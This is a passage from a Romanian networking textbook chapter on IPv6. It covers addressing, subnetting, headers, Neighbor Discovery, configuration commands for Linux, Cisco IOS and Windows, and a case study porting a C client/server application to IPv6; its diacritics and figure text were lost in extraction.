Dup cum am prezentat adresele IPv6 sunt de trei tipuri: adrese de tip unicast, adrese de tip multicast i adrese de tip anycast. RFC4291 [13] definete, dup cum urmeaz, adresele de reea de tip IPv6 la care trebuie s rspund un calculator: Adresa de tip Link-local configurat automat. Orice adres de tip unicast sau anycast care a fost configurat. Adresa de tip loopback. Adresa de tip multicast All-Nodes. Toate adresele de tip multicast Solicited-Node definite pentru fiecare adres de tip unicast sau multicast configurate. Toate adresele de multicast configurate manual din care face parte acest nod. n cazul n care echipamentul este un ruter, el va rspunde pentru toate adresele definite anterior pentru un calculator, dar i la urmtoarele adrese: Toate adresele de tip multicast All-Routers,aa cum au fost ele definite anterior. Toate adresele de tip Subnet-Router, adresa de reea.

4.1.4 Subnetarea adreselor IPv6


Spaiul de adrese IPv6 are, asemntor cu adresarea IPv4, o structur ierarhic. Aceast ierarhizare se realizeaz cu ajutorul mtii de reea. Subnetarea se face asemntor cu procesul de subnetare din IPv4, delimitnd prefix-ul, subnetul i biii de staie. Dei o adres de tip IPv6 folosete 128 de bii conceptul de subnetare este mult mai uor realizabil fa de subnetarea n IPv4. Acest lucru este datorat definirii clare a numrului de bii de staie, 64, n RFC4291 [13]. Practic subnetarea se face doar n primii 64 de bii, definind adresa de reea i adresa de subreea prin alegerea corespunztoare a mtii de reea. Spre deosebire de subnetarea n IPv4, numrul de echipamente din reea nu mai este relevant, datorit celor 64 de bii predefinii pentru bii de staie. Cei 64 de bii disponibili pentru subnetare pot fi delimitai oricum, conform RFC3587 [14], ns principiul bunei practicii spune c o subnetare corect ar trebui s se fac la fiecare patru bii, pentru o mai uoar identificare a parilor componente, prefixul, subnetul i bii de staie. Aceast delimitare se va realiza n funcie de numrul de subreele necesare. Pentru a ntelege procesul de subnetare vom analiza urmtorul exemplu. Se dorete subnetarea blocului 2001:34DE:035A::/48 pentru a avea la dispoziie un numr de cinci reele. avem nevoie de 3 bii pentru a reprezenta numrul cinci

P r o t o c o l u l I P v 6 | 131 cum recomandarea este sa folosim grupuri de patru bii, vom face subnetarea dup 4 bii subreelele vor fi de forma: 2001:34DE:035A:000:/60. Prima subreea este 2001:34DE:035A:000:/60, a doua 2001:34DE:035A:001:/60, 2001:34DE:035A:002:/60, ultima fiind 2001:34DE:035A:FFF:/60. O foarte mare problem a adreselor de tip IPv4 a fost mecanismul prost de agregare. Practic la nivelul Internetului fiecare ISP putea n IPv4 s achiziioneze un spaiu de adrese /24, spaiu ce nu poate fi agregat la nivel de ISP, uneori chiar i indiferent de nivelul acestuia (Tier-1, Tier-2, Tier-3). Distribuia adreselor IPv6 este prezentat n Fig. 4-11.

4-11: Distribuia adreselor IPv6 Subnetarea la nivel de RIR este definit la adresa http://www.ripe.net/ripe/docs/ripe-552. RIPE va aloca pentru fiecare ISP un minim de /32, existnd i posibilitatea de a cere un spaiu mai mare (aa cum au cerut cei de la RDS&RCS). Spaiul de adrese /32 permite crearea unui numr de subreele egal cu numrul total de adrese IPv4, rmn 32 de bii pentru partea de subreea. Ultimii 64 de bii, identificatorul de reea, poate avea una din urmtoarele valorii: Conform RFC4941 [19], o valoare generat aleatoriu, metod folosit implicit de ctre Windows 7. (Interesant este c cei de la Microsoft justific folosirea acestei metode pentru a nu permite trace-back la calculatorul care deine acea adres IPv6). Configurat automat atunci cnd se folosete un server de DHCPv6. Conform RFC5072 [20], pentru conexiunile de tip PPP trebuie generat un identificator separat de cel al interfeei, fie prin folosirea EUI-64, fie pe baza unei surse unice (alta dect adresa MAC), fie poate fi generat random. Conform RFC429, fiecare plac de reea poate folosi drept identificator de interfa adresa de tip EUI-64. Exist mai multe metode de generare a acestui identificator: o Acesta este inscripionat deja pe placa de reea, definit de ctre IEEE. o Acesta se va deriva folosind un identificator unic al plcii (ex. Adresa MAC pentru o plac de tip Ethernet, numrul de serie pentru un chip din cadrul unei plcii de tip serial). o Dac nu exist un mecanism unic de identificare al plcii se poate folosi un identificator de pe alt plac de reea. Dintre procesele definite anterior pentru generarea unei adrese de tip EUI-64 cel mai adesea folosit este cel care deriv aceast adres din adresa MAC. Pentru a genera cei 64 de bii necesari identificatorului de interfa se adaug celor 48 de bii din adresa MAC secvena de bii 0xFFFE dup primii 24 de bii din adresa MAC. Un alt lucru care trebuie realizat la construirea unei adrese IPv6 plecnd de la o adresa MAC este inversarea bitului 7 (care specific dac adresa este universal sau definit local), datorit semnificaiei opuse existente (pentru adresa MAC dac bitul este 0 el prezint o adres global;

132 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e pentru adresa EUI-64 dac bitul este 1 el reprezint o adres global). Procesul este descris n Fig. 4-12.

4-12: Derivarea prefixului EUI-64 pornind de la o adres MAC.

4.2 Descrierea pachetelor IPv6


4.2.1 Antetul IPv6
Dup cum am discutat n primul capitol, la fiecare nivel pachetele sunt ncapsulate cu un nou antet. La nivelul doi, n cadrul antetului Ethernet, un pachet IPv6 este referit prin codul 0x86DD - ne aducem aminte c antetul IPv4 era referit prin 0x0800. Structura pachetelor IPv6 este reprezentat n Fig. 4-13. Aceast structur este definit n RFC2460, care nvechete RFC1883 aprut n 1995, nc din anul 1998. Principala mbuntire fa de antetul IPv4 este dat de simplificarea antetului i apariia antetelor de extensie.

4-13: Structura unui pachet IPv6 Printre cele mai importante antete de extensie amintim pe cele folosite pentru rutare, pentru autentificare, pentru ESP (ultimele dou au fost definite ca un un strat superior i pentru IPv4) sau pentru fragmentare. Fr a prezenta toate detaliile amintim procesul de fragmentare, diferit fa de cel realizat pentru IPv4, folosit pentru pachetele de tip IPv6. n IPv6 fragmentarea se va realiza doar la surs, ea

P r o t o c o l u l I P v 6 | 133 nu poate fi realizat pe traseu, i se bazeaz pe un proces de descoperire a dimensiunii pachetelor la nivelul doi. Pentru o detaliere a procesului de descoperire a dimensiunii maxime de pe traseu se poate citi RFC1981 [21], care explic Path MTU Discovery for IP version 6. Fiecare pachet va fi apoi spart n mai multe pachete, aa cum se poate observa n Fig. 4-14.

4-14: Procesul de fragmentare al unui pachet IPv6. Antetul IPv6 este unul simplificat fa de cel din IPv4, Fig. 4-15. Analizm n continuare folosirea fiecrui cmp din cadrul antetului: Cmpul Versiune (4 bii) Specific versiunea protocolului, valoarea cmpului este 6. Cmpul Traffic Class (8 bii) Asemntor cmpului Type of Service din antetul IPv4, folosit pentru clasificarea traficului pentru procesul de QoS. Cmpul Flow Label (20 bii) Definit n RFC3697 [22], nu apare n IPv4 i are scop identificarea unui singur flow pentru a putea realiza procesul de rutare mai rapid, dar poate de asemenea menine informaii despre protocoalele de nivel superior (ex. porturile TCP/UDP folosite) atunci cnd pachetul este criptat. Cmpul Payload Length (16 bii) Indic dimensiunea total a datelor ncapsulate (antetele de extensie sunt considerate ca fiind parte din aceste date) fr antetul de IPv6 (care are o lungime total fix de 40 de octei). Cmpul Next Header (8 bii) Specific felul n care trebuie interpretate datele dup antetul IPv6, ca antet de extensie sau ca alt protocol de nivel superior (ICMP, TCP, UDP). Cmpul Hop Limit (8 bii) Asemntor cmpului TTL din antetul IPv4 specific numrul de echipamente de nivel trei pe care pachetul le poate traversa. Este decrementat la fiecare echipament de nivel trei. Cmpurile Adresa IPv6 surs (128 bii) i Adresa IPv6 destinaie (128 bii) Specific adresele IPv6 folosite.

134 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

4-15: Structura antetului IPv6 O alt schimbare important adus protocolului de nivel trei este dispariia unui mecanism de verificare a corectitudinii pachetului. Verificarea corectitudinii unui pachet se realizeaz la nivelul doi prin suma de control (CRC) i la nivelul patru de ctre cele importante protocoale (TCP i UDP) prin folosirea unui checksum asupra unui pseudo-antet (acesta include nu doar informaii de la nivelul patru, ci i de la nivelul trei vezi RFC793 pentru TCP i RFC768 pentru UDP).

4.2.2 Pachete de tip ICMP


Un rol foarte important pentru folosirea stivei IPv6 l are protocolul ICMP. Pentru IPv6 structura pachetului este asemntoare cu cea din IPv4. Pachetele de tip ICMP sunt refereniate n antetul de nivel trei prin valoarea 58 a cmpului Next header. Structura unui pachet ICMP este prezentat n Fig. 4-16.

4-16: Structura pachetului ICMP Cele mai importante mesaje ICMP folosite pentru funcionarea corect a protocolului IPv6, aa cum sunt ele definite n RFC4443 [23], sunt: Mesaje de eroare: o Destination Unreachable Mesaje folosite atunci cnd pachetul trimis nu poate fi forwardat ctre destinaie.

P r o t o c o l u l I P v 6 | 135 Packet Too Big Mesaje trimise de ctre un ruter atunci cnd acesta nu poate fi forwardat datorita unei valori mai mici a MTU-ului pe legatura pe care trebuie trimis. Acest pachet este folosit pentru Path MTU Discovery Protocol. o Time Exceeded Pachete trimise de ctre un ruter atunci cnd valoarea cmpului Hop Limit din antetul IPv6 ajunge la 0. Mesaje de informare: o Echo Request Pachete folosite pentru diagnosticarea unei reele. o Echo Reply Pachete trimise ca rspuns atunci cnd se primete un pachet de tip Echo Request. Protocolul ICMP este folosit i pentru definirea mesajelor pentru protocole superioare (Neighbor Discovery tratat in seciunea urmtoare - sau Multicast Listener Discovery Protocol). o

4.2.3 Protocolul Neighbor Discovery Protocol


Apariia protocolului IPv6 a produs i o schimbare a protocoalelor la nivelul stivei OSI. Adoptarea acestui protocol a fost foarte rapid, asemntor cu felul n care formatul 802.3 a acaparat nivelul doi al stivei OSI. Pentru acest lucru protocoalele implementate la nivelul trei, precum ARP, au fost nlocuite cu un protocol care se bazeaz pe adresarea de la nivelul trei. Pentru ndeplinirea funciilor prezentate anterior protocolul NDP se bazeaz pe mesaje de tip ICMP. Exist cinci tipuri diferite de mesaje: Router Solicitation (RS) Router Advertisement (RA) Neighbor Solicitation (NS) Neighbor Advertisment (NA) Redirect Noul protocol dezvoltat, Neighbor Discovery Protocol (NDP), poate fi folosit pentru (doar cele mai importante folosirii): Router Discovery / Default router selection Descoperirea tuturor punctelor de ieire din reea i alegerea celui mai bun. Prefix discovery Descoperirea prefixului de reea folosit pentru configurarea automat a unei adrese IPv6. Duplicate address detection Verificarea existenei aceleiai adrese IPv6 n reea. Redirect Mesaje de redirectare.

Configurarea automat a unei adrese IPv6 pentru o staie


Primul pas pe care l face un calculator ntr-o reea IPv6 este descoperirea acesteia, a prefixului i a ruterelor din reea. Pentru aceasta el va trimite un mesaj de tip RS, avnd ca adres IPv6 surs adresa nespecific :: i destinaia toate ruterele (FF02::2). Toate echipamentele de tip ruter din reeaua local vor rspunde cu un mesaj de tip RA, adresa surs fiind adresa IPv6 link-local iar adresa destinaie FF02::1 toate echipamentele din retea. Mesajele de tip RA conin identitatea echipamentului care le-a trimis, prefixul sau lista de prefixe ce poate fi folosit pentru autoconfigurare i MTU-ul folosit pentru reeaua local. Acest mesaj poate conine i ali parametri precum adresa IPv6 a unui server de DHCPv6. Mesajele de tip RA sunt trimise de ctre rutere la intervale periodice (generate aleatoriu) pentru a-i anuna prezena n reea. Procesul poate fi analizat n Fig. 4-17. Dup primirea unui prefix fiecare echipament i va configura automat o adres IPv6 folosind acest prefix i genernd identificatorul pentru interfa folosind una din metodele prezentate anterior, 4.14 Subnetarea adreselor IPv6. nainte de a folosi aceast adres IPv6 calculatorul va trimite un mesaj de tip NS pentru a verifica existena n reea a acestei adrese. Dac nu se primete nici un rspuns calculatorul va folosi aceast adres IPv6.

136 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

1 1 1 RS 1 1 ICMP type: Source: o Destination: st Query: RA


133 unspec all-routers which router?

VA

ICMP type: 134 Source: VA link-local Destination: all-nodes

2 2 1 1 1 1 o st RA
ICMP type: 134 Source: Bi link-local Destination: all-nodes

Bi

Solicited RA

RA
ICMP type: 134 Source: Bi link-local Destination: all-nodes Unsolicited RA

Packet Source

Packet Receiver

4-17: Descoperirea ruterelor din reeaua local

Descoperirea adresei MAC


Un alt aspect foarte important este procesul de descoperire a adresei MAC, asemntor celui folosit de protocolul ARP. Mesajele folosite sunt de tip NS i NA, ele corespund ARP Request i, respectiv, ARP Reply.

1
VA

NS
ICMP type: 135 Source: 1 Destination: solicited-node multicast Query: link-layer address matching 2? ICMP type: 136 Source: 2 Destination: 1

2 2 1 1 1 1 o st NA

Bi

Solicited RA

NA
ICMP type: 136 Source: 2 Destination: all-nodes Unsolicited RA

Packet Source

Packet Receiver

4-18: Descoperirea adresei MAC

P r o t o c o l u l I P v 6 | 137 Spre deosebire de protocolul ARP care nu folosete un antet IP, NDP este construit peste IPv6. Adresa IPv6 destinaie folosit este adresa de tip multicast-solicited node, deoarece n IPv6 nu exist adres de tip broadcast. Mai mult dect att, folosind aceast adres de multicast doar calculatorul care s-a asociat, conform procesului explicat in Fig. 4-18, va rspunde acestui tip de pachete.

4.3 Configurarea adreselor IPv6


4.3.1 Linux
n Linux exist suport pentru IPv6 nc de la versiunea 2.6 de kernel dar interfaa pentru utilizator pentru configurarea IPv6 a venit odat cu introducerea pachetului de utilitare iproute2. Vechiul pachet, net-tools care cuprinde utilitare ca ifconfig i route nu avea suport pentru adrese IPv6. Dei versiunilor noi de ifconfig i-au fost adugate faciliti de IPv6, folosirea ifconfig este nerecomandat. Pentru configurri legate de IPv6, vom folosi comanda ip din pachetul iproute2. Comenzile sunt similare cu cele pentru IPv4, uneori fiind nevoie de adugarea flag-ului -6.
linuxbox$ ip -6 adddress show linuxbox$ ip -6 route show

Unele comenzi pot fi scrise n form scurt, dar avnd acelai rezultat:
linuxbox$ ip a

Pentru adugarea unei adrese noi, putem folosi o comand de tipul:


ip addr add ADRES_IPV6/PREFIX dev INTERFA

Pentru a aduga o rut folosim o comand de tipul:


ip route add ADRES_REEA_IPV6 via ADRES_IPV6_ROUTER_URMTOR

Atenie! nainte ca maina Linux s poat comuta pachete IPv6, trebuie activat optiunea de rutare n kernel, prin editarea fiierului /etc/sysctl.conf i setarea liniei net.ipv6.conf.all.forwarding=1. Pentru a activa schimbarea trebuie rulat comanda sysctl p.

4.3.2 Cisco IOS


Implicit, facilitatea de a comuta pachete IPv6 este dezactivat pe Cisco IOS. Ea trebuie activat prin comanda ipv6 unicast-routing.
(config)# ipv6 unicast-routing

Adugarea de adrese IP pe interfa i rute n tabela de rutare se face similar cu comenzile pentru IPv6, adugndu-se cuvntul cheie ipv6.
(config)# interface INTERFA (conf-interface)# ipv6 address ADRES_IPV6/PREFIX_MASC_REEA

Implicit, o interfa pe un router Cisco ce are o adres IPv6 configurat, va trimite me saje de tip RA (router adverisments) pentru a anuna staiilor din reea informaii despre ruter. Putem dezactiva acest comportament la nivel de interfa:
(conf-interface)# ipv6 nd suppress-ra

4.3.3 Windows
Dei Windows XP are un suport minimal de IPv6, abia n Windows Vista i Windows 7 exist un mod de configurare i adminstrare uoar a stivei TCP/IPv6. n Windows 7, configurrile pentru IPv6

138 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e se fac similar cu cele pentru IPv4. Din interfaa grafic, din fereastra specific unei interfee de reea, se alege protocolul Internet Protocol Version 6 (TCP/IPv6).

4-19: Configurare setri IPv6 n Windows 7 Configurarea adresei poate fi fcut fie automat, prin DHCP, fie specificnd manual adresa de staie, prefixul (lungimea) mtii de reea, gateway-ul implicit i adresa IPv6 a serverului DNS.

4-20: Atribuirea unei adrese IPv6 unei interfee n Windows 7

P r o t o c o l u l I P v 6 | 139 n linia de comand, putem s ne folosim de utilitarul ipconfig pentru a vedea setrile unei interfee, inclusiv adresele IPv6. Acelai tool poate fi folosit pentru a cere o nou adres IPv6 prin DHCP:
ipconfig /all ipconfig /release6 ipconfig /renew6

Pentru setri mai avansate, vom folosi netsh. Cu acest utilitar putem lista interfeele ce au suport pentru IPv6, care sunt adresele IPv6 configurate pe interfa i care este tabela de rutare IPv6:
netsh interface ipv6 show address netsh interface ipv6 show interface netsh interface ipv6 show route

Pentru a aduga o adres IPv6 se folosete o comand de tipul:


netsh interface ipv6 add address NUME_INTERFA ADRES_IPV6/PREFIX

Numele interfeei este fie un ir de caractere (ex. Local Area Connection), fie indexul interfeei ce poate fi obinut cu netsh interface ipv6 show interface. O rut poate fi adugat printr-o comand de tipul:
netsh interface ipv6 add route REEA NUME_INTERFA ADRES_IPV6_PAS_URMTOR METRIC

4.4 Scenarii de folosire


4.4.1 Topologie folosind configurare automat
2001::/64
Sw2

CR

W 4-21: Topologie simpl cu o reea local n care ruleaz IPv6 Pentru topologii simple (exemplu Fig. 4-21), ce au un singur ruter cu multiple staii de lucru n spate, ne putem folosi de facilitile de autoconfigurare pentru a minimiza munca pe care trebuie s o facem. CR este un router Cisco, ce va fi i ruterul implicit ar reelei. Vom configura o adres IPv6, folosind mecanismul EUI64 de generare a adresei:
cr(config)# interface f0/0 cr(config-if)#ipv6 address 2001::/64 eui-64 cr(conf-interface)# no shutdown cr#sh ipv6 int brief FastEthernet0/0 [up/down] FE80::226:BFF:FEB8:6CE8 2001::226:BFF:FEB8:6CE8 cr#sh int f0/0 FastEthernet0/0 is up, line protocol is up Hardware is MV96340 Ethernet, address is 0026.0bb8.6ce8 (bia 0026.0bb8.6ce8)

Pe staia Windows (W) putem cere configurarea automat a adresei IP prin comanda ipconfig:
ipconfig ipconfig ipconfig Ethernet /release6 /renew6 /all adapter Local Area Connection:

140 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
IPv6 Address. . . . . . Temporary IPv6 Address. Link-local IPv6 Address IPv4 Address. . . . . . Subnet Mask . . . . . . Default Gateway . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . : : : : : : 2001::3c58:818:76f7:e4e8 2001::198b:4f1b:52cf:ab89 fe80::3c58:818:76f7:e4e8%13 192.168.254.92 255.255.255.0 fe80::226:bff:feb8:6ce8%13

Similar, pe staia Linux (L), adresa IPv6 i ruta implicit se vor configura cu ajutorul RA-urilor trimise de ruterul CR, odat cu activarea interfeei la nivelul doi:
l# ip link set up dev eth0 l# ip addr show dev eth0 1: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 100 link/ether 00:17:31:49:3a:df brd ff:ff:ff:ff:ff:ff inet6 2001::217:31ff:fe49:3adf/64 scope global tentative dynamic valid_lft 2591999sec preferred_lft 604799sec inet6 fe80::217:31ff:fe49:3adf/64 scope link valid_lft forever preferred_lft forever l# ip -6 route show|grep default default via fe80::226:bff:feb8:6ce8 dev eth0 proto kernel metric 1024 expires 1398sec mtu 1500 advmss 1440 hoplimit 64

4.4.2 Topologie avansat IPv6

2001:1234:AAAA:1::/64 L

2001:1234:AAAA::/64

2001:1234:AAAA:2::/64 W

LR

CR

10.0.0.0/30 4-22: Topologie reea IPv6 desprit de o reea IPv4. LR i CR sunt dou rutere ce sunt conectate ntre ele printr-o reea IPv4. LR este un Linux-box ce va face rutare i CR este un router Cisco. Fiecare are n spate o staie, una rulnd Linux (L) i una rulnd Windows (W). Presupunem c singurul lucru configurat pn acum este conectivitatea IPv4 ntre cele doua rutere. Scopul final este de a avea conectivitate IPv6 ntre cele dou staii. Avem la dispoziie reeaua 2001:1234:AAAA::/48. Vom folosi trei reele /64 din aceasta: 2001:1234:AAAA::/64 pentru reeaua LR-CR 2001:1234:AAAA:1::/64 pentru L-LR 2001:1234:AAAA:2::/64 pentru W-CR ncepem cu configurarea staiei L:
l# ip -6 addr add 2001:1234:AAAA:1::2/64 dev eth0 l# ip -6 route add default via l# ip addr add 2001:1234:AAAA:1::1

Similar,trebuie s adugm o adres IP pe interfaa de pe LR. n plus, cum acest sistem are rol de ruter, trebuie activat opiunea de a comuta pachete IPv6:
lr# ip -6 addr add 2001:1234:AAAA:1::1/64 dev eth0 lr# vi /etc/sysctl.conf net.ipv6.conf.all.forwarding=1 lr# sysctl p

Pe routerul Cisco, trebuie de asemenea activat comutarea de pachete IPv6 i cofigurate adresele IPv6:
cr(config)# ipv6 unicast-routing cr(config)# interface f0/0 cr(conf-interface)# ipv6 address 2001:1234:AAAA:2::1/64 cr(conf-interface)# ipv6 nd suppress-ra

P r o t o c o l u l I P v 6 | 141
cr(conf-interface)# no shutdown

Pe staia Windows trebuie configurat adresa IPv6 pe interfa i ruta implicit.


netsh interface ipv6 add address Local Area Connection 2001:1234:AAAA:2::2/64 netsh interface ipv6 add route ::/0 Local Area Connection 2001:1234:AAAA:2::1 0

Avem conectivitate pentru fiecare dintre cele dou staii cu gateway-urile lor, dar nc nu de la cap al cellalt al reelei deoarece ntre cele dou routere exist o reea IPv4 ce nu comut pachete IPv6. Vom avea nevoie s configurm un tunel IPv6 peste IPv4 pentru a oferi o legtur virtiual IPv6 ntre LR i CR.
cr(config)#int tunnel 0 cr(config-if)#tunnel source fastEthernet 0/1 cr(config-if)#tunnel destination 10.0.0.1 cr(config-if)#tunnel mode ipv6ip cr(config-if)#ipv6 address 2001:1234:AAAA::2/64

lr# ip tun add tun0 local 10.0.0.1 remote 10.0.0.2 mode sit lr# ip addr add 2001:1234:AAAA::1/64 dev tun0 lr# ip link set up dev tun0

Ultimul pas este s configurm rute ntre cele dou reele de margine prin tunelul nou creat:
cr(config)# ipv6 route 2001:1234:AAAA:1::/64 2001:1234:AAAA::1

lr# ip route add 2001:1234:AAAA:2::/64 via 2001:1234:AAAA::2

Nu uitai s testati conectivitatea cu comenzile de tipul ping i traceroute.

4.5 Studiu de caz


n acest capitol am prezentat principala motivaie pentru introducerea adreselor IPv6 dar i modalitatea de migrare a infrastructurii de reea. Apariia noului protocol produce un impact foarte mare nu doar asupra infrastructurii ci i a aplicaiilor. Fr migrarea aplicaiilor ctre protocolul IPv6, infrastructura nu poate fi folosit. Este ca i cum am cumpra autobuze mai mari dar toi cltorii ar continua s foloseasc vechile mijloace de transport n comun. RFC4038 clasific aplicaiile n patru cazuri diferite, n funcie suportul fa de IPv6 pe care acestea l ofer: Aplicaii de tip doar-IPv4, care trebuie migrate pentru a folosi stiva IPv6; Ex. Skype. Aplicaii doar-IPv4 i doar-IPv6, aplicaia a fost migrat pentru a folosi stiva IPv6 dar utilizatorul trebuie s aleag aplicaia corespunztoare n funcie de protocolul folosit (IPv4 sau IPv6); Ex. ping i ping6 pentru Linux. Aplicaii care ofer suport pentru ambele protocoale, migrarea este complet; Ex. Firefox. Aplicaii care ofer suport pentru ambele protocoale ntr-un mediu de tip doar-IPv4, n care sistemul de operare nu ofer suport pentru IPv6. Acest caz nu se mai ntlnete datorit rspndirii suportului pentru IPv6 n sistemele de operare. n acest studiu de caz vom prezenta migrarea unei aplicaii doar-IPv4 pentru a folosi i protocolul IPv6, atunci cnd acesta este disponibil. Aplicaia folosit este de tip client/server i este scris complet n limbajul de programare C. Am ales C pentru c expune toate primitivele necesare comunicrii, astfel procesul poate fi mai bine explicat, existnd ns suport pentru IPv6 n majoritatea limbajelor de programare (ex. Java). Serverul ascult pentru conexiuni de tip TCP i va ntoarce clientului mesajele primite de la aceasta (ecou). Clientul primete ca argument adresa serverului la care se va conecta i apoi interogheaz utilizatorul pentru mesaje ce vor fi trimise ctre server, afind la STDOUT rspunsul de la acesta. n Anexa A am pus la dispoziia cititorului codul surs pentru toate cele patru aplicaii.

142 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Aplicaia se bazeaz pe folosirea unui socket pentru a transmite informaii ntre client i server. Un socket poate fi vzut, ntr-o form simplificat, ca o pereche de patru elemente: adresa IP client, adresa IP server, port surs i port destinaie. Pentru a simplifica aplicaia folosit ca exemplu am considerat portul destinaie fix, 5000. Fr a detaliat foarte mult subiectul, Fig. 4 -23 evideniaz pai necesari pentru a crea o conexiune TCP.

4-23 Crearea unui socket TCP Topologia folosit este prezentat n Fig. 4-24. Cele dou staii folosite sunt direct conectate prin intermediul unui switch i fac parte din domeniul DNS exemplu.rl, DNS ce va rezolva att adrese IPv4 ct i IPv6. Server: a.exemplu.rl 2001::1/64 192.168.17.130 Client b.exemplu.rl 2001::2/64 192.168.17.129

4-24: Topologie aplicaie client server Executm aplicaia n IPv4:


root@rl-vm:~/rl/ipv4# ./server conexiune realizata cu b.exemplu.rl (192.168.17.129) echo: buna root@so-vm:~/rl/ipv4# ./client 192.168.17.130 mesaj: buna echo: buna

Executam clientul cu o adresa IPv6 ca argument. Se observa c nu se poate conecta la server datorit DNS-ului care nu va rezolva corect.
root@so-vm:~/rl/ipv4# ./client 2001::1 (client.c, 33): Nu exista serverul

Primul pas pentru a migra aplicatia este modificarea structurilor folosite. Pentru a crea o aplicatie doar-IPv6 structura folosit pentru a salva datele de conectare este struct sockaddr_in6, cea din IPv4 este struct sockaddr_in. Pentru crearea unei aplicaii independente de protocolul folosit este recomandat folosirea structurii struct sockaddr_storage. Cele dou structuri prezentate nu au loc pentru a mentine informatii despre protocolul folosit (AF Address Family), iar apelul unor funcii cu astfel de structuri impune folosirea AF-ului ca parametru:

P r o t o c o l u l I P v 6 | 143
/* doar-IPv4 */ bar(&in4addr, AF_INET); /* doar-IPv6 */ bar(&in6addr, AF_INET6);

Trebuie fcut clar separaia ntre cod doar-IPv4, doar-IPv4 i cod portabil. n exemplu de mai jos se poate vedea aceast diferen atunci cnd vorbim de structuri: doar-IPv4
struct sockaddr_in addr;

doar-IPv6 cod independent

struct sockaddr_in6 addr;

struct sockaddr_storage addr;

n afara structurilor este necesar i migrarea tuturor funciilor folosite. Funciile getaddrinfo() i getnameinfo() ofer suport pentru IPv4 i pentru IPv6, ele implementeaz funcionalitatea urmtoarelor funcii: gethostbyname(), gethostbyaddr(), inet_ntop(), inet_pton(), getservbyname(), getservbyport(). Dei unele dintre funciile precizate anterior pot fi folosite pentru protocolul IPv6 nu este recomandat utilizarea lor datorit dependenei de protocol. Pentru o descriere detaliat a funciilor consultai paginile de manual. O alt regul recomandat la migrarea ctre o aplicaie independent este eliminarea oricrei referine la protocolul folosit, nu trebuie folosite n program structurile de tipul AF-, aa cum apar ele n exemplul de mai jos.
switch (aip->sa_family) { case AF_INET: clientlen = sizeof(struct sockaddr_in); break; }

Odat cu apariia protocolul IPv6 a aprut i un socket pentru IPv6. Sistemele de operare vor suporta adrese IPv4 peste un socket IPv6 folosind conceptul IPv4-mapped IPv6. O astfel de adres are forma ::IPv4, aa cum a fost ea definit n RFC4291 [13]. Este la alegerea programatorului dac folosete o astfel de adres sau dac va crea un socket special pentru IPv4. Pentru a face asta trebuie ca socketul de IPv6 s fie de tip doar-IPv6. Urmtoarea secven transform un socket IPv6 ntr-un socket doar-IPv6.
#ifdef IPV6_V6ONLY int v6only = 1; if (aip->ai_family == AF_INET6) { n = setsockopt(parinte[nsock], IPPROTO_IPV6, IPV6_V6ONLY, &v6only, sizeof(v6only)); } #endif

Dup portarea aplicaiei putem observa funcionalitatea att pentru IPv6 ct i pentru IPv4.
root@rl-vm:~/rl/any# ./server conexiune realizata cu b.exemplu.rl (192.168.17.129) echo: buna conexiune realizata cu b.exemplu.rl (2001::2) echo: buna root@so-vm:~/rl/any# ./client 192.168.17.130 mesaj: buna echo: buna root@so-vm:~/rl/any# ./client 2001::1 mesaj: buna echo: buna

Un alt aspect interesant de urmrit este comportamentul aplicaiei atunci cnd conexiunea se realizeaz folosind un nume, nu o adres IP. Se poate observa din exemplul de mai jos ntietatea adreselor IPv6 n faa adreselor IPv4 atunci cnd se folosete serviciul DNS din sistemul de operare. Este recomandat folosirea numelui i nu hard-coding pentru o anumit adres IP.
root@rl-vm:~/rl/any# ./server conexiune realizata cu b.exemplu.rl (2001::2)

144 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
root@so-vm:~/rl/any# ./client a.exemplu.rl

Dezvoltarea aplicaiilor cu suport pentru IPv6 n mediul Windows a fost introdus nc din Windows Server 2000, odat cu apariia Windows Sockets 2. Acest API dezvoltat de ctre Microsoft ofer o interfa compatibil cu RFC3493 pentru programatori n C/C++. Pentru o mai uoar migrare a aplicaiilor ctre IPv6 Microsoft a dezvoltat un utilitar denumit Checkv4.exe pentru a analiza codul surs al unui program i pentru a identifica eventualele probleme de portabilitate precum folosirea structurilor i a funciilor incompatibile IPv6 (ex. gethostbyname). Acest utilitar face parte din suita Microsoft Windows Software Development Kit (SDK) disponibil pentru Windows Vista i versiunile ulterioare de Windows. n continuare prezentm o analiz folosind Checkv4.exe a programului ipv4_client.c.
C:\Users\Mihai\Desktop>checkv4.exe ipv4_client.c ipv4_client.c(24) : sockaddr_in : use sockaddr_storage instead, or use sockaddr_in6 in addition for IPv6 support ipv4_client.c(25) : hostent : use addrinfo instead ipv4_client.c(30) : AF_INET : use AF_INET6 in addition for IPv6 support ipv4_client.c(32) : gethostbyname : use getaddrinfo instead ipv4_client.c(37) : AF_INET : use AF_INET6 in addition for IPv6 support

4.6 Concluzii
Protocolul IPv6 este, fr ndoial, urmtorul pas n evoluia Interntului. Experiena acumulat n toi anii n care IPv4 a fost rege, a produs acest nou protocol care vine cu soluii noi la probleme veche i ncearc s anticipeze unele probleme ce se vor aprea n viitor. Noile dispozitive, cum sunt cele mobile, cer din ce n ce mai tare nlocuirea protocolului IPv4 iar facilitile noi integrate n noul protocol vor crea oportunitti pentru tehnologii noi n Internet. Dar drumul spre migrare nu este unul uor, deoarece multe schimbri au fost i sunt necesare: hardware i software nou, infrastructuri cu un nou design i, cel mai important, specialiti IT care s lucreze cu acest nou protocol.

4.6.1 Linux
Comand ping6 traceroute6 ip -6 ip -6 address ip -6 route show ip tunel Descriere Msoar latena pn la o adres IPv6 specificat Gsire calea prin Intrernet spre o staie IPv6 Suit de comenzi pentru configurare adrese i rute IPv6 Configurare (listare i setare) adrese IPv6 pe interfee Configurare (listare i setare) rute IPv6 n tabela de rutare Configurare tunele

4.6.2 Cisco IOS


Comand ipv6 address ipv6 route show ipv6 route Descriere Configurare adres IPv6 pe o interfa Configurare rut IPv6 n tabela de rutare Listare tabel de rutare

P r o t o c o l u l I P v 6 | 145

